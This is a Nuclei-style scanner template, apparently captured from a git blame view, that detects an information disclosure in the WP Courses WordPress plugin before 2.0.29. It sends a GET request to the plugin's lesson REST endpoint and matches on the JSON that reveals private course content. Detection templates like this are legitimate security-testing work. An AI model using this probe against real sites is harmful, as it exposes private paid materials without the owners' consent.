2020-10-20 16:46:12 +00:00
|
|
|
id: wordpress-wpcourses-info-disclosure
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: WordPress WP Courses Plugin Information Disclosure
|
|
|
|
author: dwisiswant0
|
|
|
|
severity: high
|
|
|
|
description: Critical Information Disclosure on WP Courses plugin < 2.0.29 exposes private course videos and materials
|
2021-02-12 05:53:01 +00:00
|
|
|
tags: wordpress,plugin
|
2020-10-20 16:46:12 +00:00
|
|
|
|
|
|
|
# References:
|
|
|
|
# - [1] https://www.exploit-db.com/exploits/48910
|
|
|
|
# - [2] https://www.redtimmy.com/critical-information-disclosure-on-wp-courses-plugin-exposes-private-course-videos-and-materials/
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/wp-json/wp/v2/lesson/1"
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
|
|
|
- "rest_post_invalid_id"
|
|
|
|
- "\"(guid|title|content|excerpt)\":{\"rendered\":"
|
|
|
|
condition: or
|
|
|
|
part: body
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "application/json"
|
|
|
|
part: header
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
- 404
|
|
|
|
condition: or
|